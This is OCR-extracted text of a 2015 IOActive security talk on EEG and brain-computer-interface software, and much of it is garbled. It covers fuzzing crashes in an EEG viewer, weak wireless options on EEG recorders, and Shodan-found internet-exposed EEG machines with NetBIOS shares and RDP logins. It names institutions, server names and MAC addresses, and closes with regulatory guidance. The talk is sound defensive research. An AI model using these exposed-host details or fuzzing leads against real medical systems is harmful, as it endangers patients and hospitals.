4 B 4 - ey | e 2= T € G O CF
ME0+~v0 ARMON #E=HAAXK -
Signal Data £ | Events Process to fuzz: C:\Program Files (x86)\SigViewer\sigviewer.exs
1000 - %1 N
, o Command line args: i Electrode
90— Allow process to run for: |0 secs.
, ?,3 7 Attention
? 0 Shutdown method: Thread Injection Shutdown delay: (0.5 secs. /1L
60 - T
5 30 - Meditation
j o Settings
30000 =
;15000 - Template files: C:uzzed_EDFs‘mangle_33_256_2 Delta
o0t —=
L, 15000 - Temporary files: C:A\Users'nitrlus'\Desldopminifuzz \temp* Theta
oot = Log files: CAUszersnitrlus\ Desktopiminifuzz Jogs'
? 15000 -~ Crash files: CiUsersnitrlus'\Desldopminifuzz \crashes™ Low Alpha
a
30000 = ) o
Aggressiveness: Low (1%) _
;15000 - High Alpha
oot =
5 15000 - Low Beta
i
? 1_3{5:33 1 Progress High Beta
TZont = H Fuzzedfiles: 75 H Failures: 34 neurosky_mindwave_Alejandro_10apr15_40secs_13channels_
3000 - '
2000 — Time File Crash - Low Gamma
n 22571758 sigviewer exe (b CO000005 unhandled address=0x 75d 99060
2 4000 - 22571815 sigviewer exe cC0000005 unhandled address=0x75d%a05b Mid Gamma
93 7 22571881 sigviewer exe (bCO000054 unhandled address=[k47dd23
, &0 - 22:5719.41 sigviewer exg (CO000005 unhandled address=(k6e144db7 Blink Strength
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(In)security Aspects

e Misc
— Brain waves in the air
* Bluetooth / WiFi

Home ) Neurology Diagnostics > Ambulatory EEG Solution I Wireless Ambulatory EEG V- Siesta802 EEG [
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(In)security Aspects

e Misc
— Brain waves in the air
* Bluetooth / WiFi

Radio LAN

TCP/IP wireless

2.4 GHz, 802.11b compliant

Maximum Range: 30 to 50 meters in hospital environment (RF
transmission is affected by environmental and architectural
factors)

Communication via 802.11 access points

Up to four Siesta units may communicate via one access point
Network consultation may be required to support more than four
Siesta's in a facility

Wireless Security Options: WEP (40 and 128 bit),

WPA1-PSK, WPA2-PSK.

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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(In)security Aspects

e Misc
— Brain waves in the air
* Bluetooth / WiFi

I0Active, Inc. Copyright ©2015. All Rights Reserved.

The Siesta is a revolutionary wireless data recorder.

This software programmable amplifier/data acquisition
system has low noise, high gain and high input
impedance features. It provides state of the art
amplification and digitization of physiological signals
from electrodes, sensors and transducers.
Additionally, Siesta features realtime data
transmission via an 802.11 compatible wireless radio
link to the host computer or network. The Siesta offers
up to 52 total available signals. Advanced processor
technology allows sampling rates up to 1024 Hz per
channel with a 16 bit vertical A to D resolution.
Siesta’s integrated radiodinked IP protocol allows
simple interfacing to most current computers.

This technology enables any single computer, or all
computers on a LAN, to easily monitor multiple Siesta
recorders simultaneously on the network.

IOActive.



(In)security Aspects

e Misc
— Brain waves in the air

» Bluetooth / WiFi
— Jamming

IOActive.
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(In)security Aspects

e Misc
— Brain waves in the air
* Bluetooth
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http://www.secuobs.com/news/15022006-bss_0_8.shtml

(In)security Aspects

« Misc
— Internet accessible
« SHODAN + NetBIOS shares

NetBIOS Response

Charles University Servername: EEG-BRATHVISION

B Czech Republic, Frague MAC: d4:3d:7e:50:2d:5c
Details
Names:
EEG-BRAINVISION <@g
PCP <@

AladinHaspW@l.2 <@x3@>
EEG-BRAINVISION <@ 2>

@kalﬁ » Red » 213 »

Organizar * Centro de redes y recursos compartidos Ver impresoras remotas

i Favoritos Backup

4. Descargas -~ Compartir
[ -

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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(In)security Aspects

« Misc
— Internet accessible
« SHODAN + NetBIOS shares

b

BT ot AU and g Wl Wl S N W BN W .
NetBIOS Response University of Washington Sharename Type Comment
Global Village Telecom o amepeees hwadedon Allaloss st I
Servername: NEURDSERVER #E United States, Sesttle
B Brazil, Gramado MAC: 00:08:54:45:4b:c2 Details MuziCloud Disk
Details QIN Disk
Names: NeuroServer Disk
NELUROSERVER g IPCE IPC IPC Servi
SNHMC =Ry
NELUROSERVER <Qx2e
SNHMC <@xlex @ . =
j= (/M » Red » 1 3
SHKMC <Bx1d> = [
<Pxl= . . .
~-ISBRONSE__ <0xl Organizar + Centro de redes y recursos compartidos Ver impresoras remotas
. Favaritos MuziCloud l MeuroServer
Descargas . Compartir b Compartir
& g 2 p e p
PR Escritorio
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(In)security Aspects

Misc
— Internet accessible
« SHODAN + RDP

Easy Ill EEG System on a Narrow Trolley Cart
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(In)security Aspects

Misc
— Internet accessible
« SHODAN + RDP

K. . . .-—..—_- Conexién a Escritorio remot

[ B ) |

Log On to Windows
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(In)security Aspects

« Misc

—————— =

1On the Feasibility of Side-Channel Attacks with Brain-Computer Interfaces

Ivan Martinovic*, Doug Davies', Mario Frank!, Daniele Perito, Tomas Ros*, Dawn Song!
University of Oxford* UC Berkeley' University of Genevat

(a) ATM (b) Debit Card

https://www.usenix.org/system/files/conference/usenixsecurity (¢) Geolocation (d) People n
12/sec12-final56.pdf . - . I A IV
IOActive, Inc. Copyright ©2015. All Rights Reserved. Figure 5: Layout of four of the experiments: Bank -

ATMs, Debit Cards, Geolocation and People.



https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final56.pdf

(In)security Aspects

« Misc

— “We use inexpensive electroencephalography (EEG)
based BCI devices to test the feasibility of simple, yet
effective, attacks. The captured EEG signal could
reveal the user’s private information about, e.g.,
bank cards, PIN numbers, area of living, the
knowledge of the known persons. This is the
first attempt to study the security implications of
consumer grade BCI devices. We show that the
entropy of the private information is decreased
on the average by approximately 15 % - 40 %
compared to random guessing attacks.”

]
https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final56.pdf IO Actlve
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Regulatory Compliance / Best Practices for digital EEG

* Privacy

W Medical devices
have serious risks
beyond data protection failures

Though HIPAA certainly seems to have made the
healthcare community stand up and take notice of
information security, it may have had an unintended

side effect]You see, HIPAA is all about keeping private

medical records private.|You remember that form with

|
http://searchsecurity.techtarget.com/opinion/McGraw-asks-whos-in-charge-of-medical-device-security IO Actlve
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Regulatory Compliance / Best Practices for digital EEG

* Privacy

N Hospitals have no CSO and too little
security kung fu

There is another point that came up during the ISPAB panel that relates
directly to medical device security. It boils down to some simple questions.
Who is in charge of information security at most hospitals? And what kinds

of expertise do these people generally have?

|
http://searchsecurity.techtarget.com/opinion/McGraw-asks-whos-in-charge-of-medical-device-security Io Actlve
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Regulatory Compliance / Best Practices for digital EEG

* Privacy

Under the pressure of Sarbanes-Oxley and other financial regulations,
CIS0s in financial services grew up quickly (actually, in most cases the early
CISOs were simply swapped out). The same sort of thing needs to happen
to the CISO role in hospitals so that attention turns from patient record
protection and network security to patient safety concerns and building

security in.

|
http://searchsecurity.techtarget.com/opinion/McGraw-asks-whos-in-charge-of-medical-device-security Io Actlve

I0Active, Inc. Copyright ©2015. All Rights Reserved.



http://searchsecurity.techtarget.com/opinion/McGraw-asks-whos-in-charge-of-medical-device-security

Regulatory Compliance / Best Practices for digital EEG

* Privacy

FDA and the Cybersecurity Community:
Working Together to Protect the Public Health

FPosted on October 8, 2014 by FDA Voice

By: Suzanne Schwartz, M.D_, M.B.A.

Medical devices that contain
computer hardware or software or that connect to computer networks are subject to the
same types of cyber vulnerabilities as consumer devices. The consequences of medical
device breaches include impairing patient safety, care, and privacy. And as in the case of

consumer devices, strengthening the cybersecurity of medical devices requires
collaboration and coordination amaong many stakeholders, as well as a shared sense of

responsibility for reducing the cybersecurity vulnerabilities.

|
http://blogs.fda.gov/fdavoice/index.php/tag/collaborative-approaches-for-medical-device-and-healthcare-cybersecurity/ IO Actlve
I0Active, Inc. Copyright ©2015. All Rights Reserved. ™



http://blogs.fda.gov/fdavoice/index.php/tag/collaborative-approaches-for-medical-device-and-healthcare-cybersecurity/

Regulatory Compliance / Best Practices for digital EEG

* Guidelines by the ACNS (American Clinical Neurophysiology Society)

Practice Guidelines
Clinical Neurophysiology Topic
TIRELEET Title Guideline # Date Revised

Electroencephalography
Introduction
Evoked Potentials
Introduction to the 2006 Revisions
MNeurophysiologic Intraoperative

Monitoring Electroencephalography
Long Term EEG Monitoring for Minimum Technical Requirements for Performing Clinical EEG 1 2/10/06
Epilepsy
o Minimum Technical Standards for Pediatric EEG 2 2M0i06

Long Term EEG Monitoring in
Meonates Minimum Technical Standards for EEG Recording in Suspected Cerebral Death | 3 2M0/06
SIS E S8 TG Standards of Practice in Clinical EEG 4 210106
Critical Care
Quantitative EEC Guidelines for Standard Electrode Position Nomenclature 5 2M0/06
Technical Standards for Digital AProposal for Standard Montages to Be Used in Clinical EEG i 2M10i06
EEG Formats - -

Guidelines for Writing EEG Reports 7 2M0/06
Meurodiagnostic Personnel

Guidelines for Recording Clinical EEG on Digital Media 8 2M0i06

Magnetoencephalography

I0Active, Inc. Copyright ©2015. All Rights Reserved. ctlvem


http://www.acns.org/practice/guidelines

Regulatory Compliance / Best Practices for digital EEG™

* Guidelines by the ACNS (American Clinical Neurophysiology Society)

— (2008) Standard for Transferring Digital Neurophysiological Data
Between Independent Computer Systems

— (2006) Guideline 8: Guidelines for Recording Clinical EEG on
Digital Media

» Magnetic storage and CD-ROMs

— Clinical Practice Guideline 1: Recording and Analysis of
Spontaneous Cerebral Activity
* “Long-term storage should be of sufficient capacity to handle the

projected annual volume of data with appropriate information
security, backup, and data recovery.”

I A .
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Conclusion / Further Research

We need more security "in mind" for brain signals
treatment

Efforts in file format standardization
More secure programming practices
Create or update the guidelines / best practices

A new terrain to play: Networking + parsing

I0Active, Inc. Copyright ©2015. All Rights Reserved.
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Conclusion / Further Research

I0ACt

Test your medical devices and software

Brain signals exposed on the Internet?

— Zmap scannings of ports used by known EEG
acquisition software / hardware (who is in? ©)

By now, security could be improved by implementing
controls surrounding the EEG tech

— SSL tunnels

— Like in ICS/SCADA networks... Bio-signals firewalls /
IPSs with DPI in L77? In the near future perhaps?

, Inc. Copyright ©2015. All Rights Reserved.
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Thanks !

Alejandro Hernandez
http://www.brainoverflow.org

http://chatsubo-labs.blogspot.mx
@nitrOusmx

IOA .
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